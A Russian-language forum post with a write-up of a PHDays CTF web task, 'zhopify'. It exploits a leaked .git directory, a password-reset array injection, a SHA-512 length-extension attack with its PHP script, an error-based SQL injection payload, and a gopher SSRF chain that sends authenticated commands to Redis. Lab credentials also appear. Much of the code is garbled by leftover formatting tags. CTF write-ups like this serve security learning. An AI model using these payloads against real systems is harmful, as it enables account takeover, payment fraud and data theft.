HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 20.04.2016, 01:14
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами: 10248806

Репутация: 2371


По умолчанию

Сайт http://zhopify.hackquest.phdays.com/web/

Доступна регистрация, авторизация, восстановление пароля.

После регистрации приходит письмо на почту такого вида:

Цитата:
Сообщение от None  
Hello zhopify-f1NUo.
We have create account for you. Your password is Olf0mish
Account must be validated by administrator. But he is dead right now. Try approve account by yourself
Отправитель письма admin@zhopify.zhp - запомнил.

Админ умер, обидно.

Потыкал все формы на xss/sql - ничего.

Погрустил, запустил dirbuster который обнаружил .git директорию.

Доступными инструментами спарсить гит не удалось т.к. после 2 запроса IP банится на ~10 минут.

Написал дампер гита на php с поддержкой соксов.

https://gist.github.com/firsov/734b9...f72eb83b9b607b

Создаем временную папку, выполняем команду git init, скачиваем ./git/index файл с zhopify сайта и кладем в папку .git

Выходим из папки .git выше и выполняем команду git ls-files > files.txt

Теперь у нас есть огромный список файлов гита zhopify.

Дальше запускаем скрипт и ждем.

В гите оказалось около 3000 файлов мусора, там и wordpress и laravel и kohana и yii, ничего что могло бы нам помочь.



Интересным оказался файл controllers/PayController.php, но на данном этапе он нам ничего не давал.

Еще раз погрустил. Потом прилетел хинт про форму восстановления пароля.

В форме указывается email адрес в поле с именем

Код:
ForgotForm[еmail]
.

Сделал запрос такого вида:

Код:
ForgotForm[email][]=admin@zhopify.com
ForgotForm[email][]=mymail@gmail.com
На почту прилетело письмо

Цитата:
Сообщение от None  
Hello admin,
Follow the link below to reset your password:
http://zhopify.hackquest.phdays.com...en=iMAsmSL-_lFMF0V_MZ3VG1o6QDdLoN6_1460889039
Вот прикол!

Изменил пароль админу, захожу под ним, в админке вбиваю свой аккаунт, активирую его и ставлю статус developer. Больше в админке делать нечего.

Захожу под своим аккаунтом. В профиле есть возможность купить план Elite за 31337$, но пополнение баланса не работает.

Вспоминаю файл controllers/PayController.php из гита

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]public function[/COLOR][COLOR="#0000BB"]actionCheck[/COLOR][COLOR="#007700"]()
{
[/
COLOR][COLOR="#FF8000"]// 1 usd pay test — {id: 1,
//amount: 1,
//system: 'liqpay',
//email: 'admin@localhost',
//plan: 'elite',
//signature: '131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'}
[/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]isAjax[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]response[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]format[/COLOR][COLOR="#007700"]= \[/COLOR][COLOR="#0000BB"]yii[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]web[/COLOR][COLOR="#007700"]\[/COLOR][COLOR="#0000BB"]Response[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]FORMAT_JSON[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"]();
if(!empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'signature'[/COLOR][COLOR="#007700"]])) {
if( !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'plan'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'amount'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'system'[/COLOR][COLOR="#007700"]]) ) {
if([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]checkSign[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) ===[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]) {
if([/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) {
[/
COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]User[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]findIdentity[/COLOR][COLOR="#007700"]([[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]]);
if([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]balance[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'amount'[/COLOR][COLOR="#007700"]];
if([/COLOR][COLOR="#0000BB"]$user[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]save[/COLOR][COLOR="#007700"]()) {
return [[/COLOR][COLOR="#DD0000"]'ok'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Balance updated!'[/COLOR][COLOR="#007700"]];
}
}
}
}
}
}
return [[/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Fatal error!'[/COLOR][COLOR="#007700"]];
}
return[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]render[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'pay'[/COLOR][COLOR="#007700"], [[/COLOR][COLOR="#DD0000"]'error'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'Fatal error! Wrong singature!'[/COLOR][COLOR="#007700"]]);
}

private function[/COLOR][COLOR="#0000BB"]checkSign[/COLOR][COLOR="#007700"](array[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]ksort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$key[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) {
[/
COLOR][COLOR="#0000BB"]$secretKey[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PAY_KEY1'[/COLOR][COLOR="#007700"]];
} else {
[/
COLOR][COLOR="#0000BB"]$secretKey[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]Yii[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]$app[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'PAY_KEY2'[/COLOR][COLOR="#007700"]];
}
[/
COLOR][COLOR="#0000BB"]$sign[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'signature'[/COLOR][COLOR="#007700"]];
unset([/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'signature'[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$params[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]hash[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'sha512'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'check:'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$secretKey[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]);
return[/COLOR][COLOR="#0000BB"]$m[/COLOR][COLOR="#007700"]===[/COLOR][COLOR="#0000BB"]$sign[/COLOR][COLOR="#007700"];
}
[/
COLOR][/COLOR
Сразу понятно - Length extension attack. Подробно описывать я ее не буду, в гугле полно информации.

Эта часть далась довольно быстро потому что буквально неделю назад похожую задачу решал в другой ctf.

Скрипт такой:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]// (c) mailbrush
[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'1:admin@localhost:1:elite:liqpay'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$orig_sig[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$inject[/COLOR][COLOR="#007700"]= [[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]130[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'system'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'a'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'b'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'plan'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'c'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'amount'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#0000BB"]500000
[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]ksort[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inject[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$append[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$inject[/COLOR][COLOR="#007700"]);

for([/
COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$len[/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]'yii\\db\\Connection'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'dsn'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'mysql:host=localhost;dbname=zhopify'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'username'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'zhopify'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'uqBbFAWx/&:G6KNQRTtS'[/COLOR][COLOR="#007700"],
[/
COLOR][COLOR="#DD0000"]'charset'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]'utf8'[/COLOR][COLOR="#007700"],
];[/
COLOR][/COLOR
Еще немного почитал исходники и стало понятно, что в импорте поля prefix и table уязвимы к SQL injection:

В Mysql Import указываем 127.0.0.1 3306, данные из конфига, database zhopify, table пусто, в префикс SQL query:

Цитата:
Сообщение от None  
products` where 1=1 |(select!x-~0.FROM(select+(select flag from flag.flag)x)f)-- f
Получаем error based sql inj



Flag 1: Welcome back to Megatask version two point zero.

От флага посмеялся от души.

Дальше хинтанули, что второй флаг лежит в редисе.

Снаружи к нему подрубиться нельзя, в читалке gopher не работает.

Нашелся файл ../.htaccess

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/
COLOR][COLOR="#0000BB"]Order allow[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]deny
Allow from 127.0.0.1
[/COLOR][COLOR="#007700"][/COLOR][/COLOR
В /etc/hosts был найден алиас 127.0.0.1 zhopify.zhp

Через читалку обращаемся к http://zhopify.zhp/testCURLimage.php , отлично, существует!

Читаем содержимое файла:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (!empty([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'u'[/COLOR][COLOR="#007700"]])) {
[/
COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]parse_url[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'u'[/COLOR][COLOR="#007700"]]);
if ([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"]) {
if (!empty([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'scheme'[/COLOR][COLOR="#007700"]]) && ![/COLOR][COLOR="#0000BB"]in_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]strtolower[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'scheme'[/COLOR][COLOR="#007700"]]), [[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'dict'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'ftp'[/COLOR][COLOR="#007700"]]) ) {
if (!empty([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'host'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]])) {
[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]basename[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url_array[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'path'[/COLOR][COLOR="#007700"]]);
if (!empty([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"])) {
[/
COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]pathinfo[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]PATHINFO_EXTENSION[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$ext[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#DD0000"]'jpg'[/COLOR][COLOR="#007700"]) {

if ([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_init[/COLOR][COLOR="#007700"]()) {
die;
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_URL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'u'[/COLOR][COLOR="#007700"]]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_HEADER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_CONNECTTIMEOUT[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]5[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RETURNTRANSFER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_FOLLOWLOCATION[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]curl_setopt[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]CURLOPT_RANGE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"1-1024*1024*1"[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curl_exec[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]curl_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$curl[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]!==[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]) {
print[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"];
}
}
}
}
}
}
}
}[/
COLOR][/COLOR
SSRF налицо.

Необходимо передавать расширение jpg чтобы он выполнился.

Попробуем доступен ли здесь gopher.

Читаем файл так:

Цитата:
Запрос есть - отлично.

Чтобы расширение jpg не ломало запрос к редису, делать мы будем его так:

Цитата:
Сообщение от None  
keys *
quit
1.jpg
После quit будет выход из редиса со статусом OK.

Теперь мы можем обратиться к редису через gopher.

Запрос

Цитата:
Ответ: NOAUTH Authentication required. OK

Читаем конфиг /etc/redis/redis.conf

Пароль requirepass 78109f951153fd3bdcf4715bf041c96c76b17bad

Делаем запрос

Цитата:
Сообщение от None  
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
keys *
quit
1.jpg
Цитата:
Ответ: $45 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG

Следующий запрос

Цитата:
Сообщение от None  
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
quit
1.jpg
Цитата:
Ответ и флаг: Nice to see your asses here again!

Отличное задание!

Настоящий shopify заплатил бы за такое 31337$

Спасибо за помощь в решении таска mailbrush и yarbabin.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.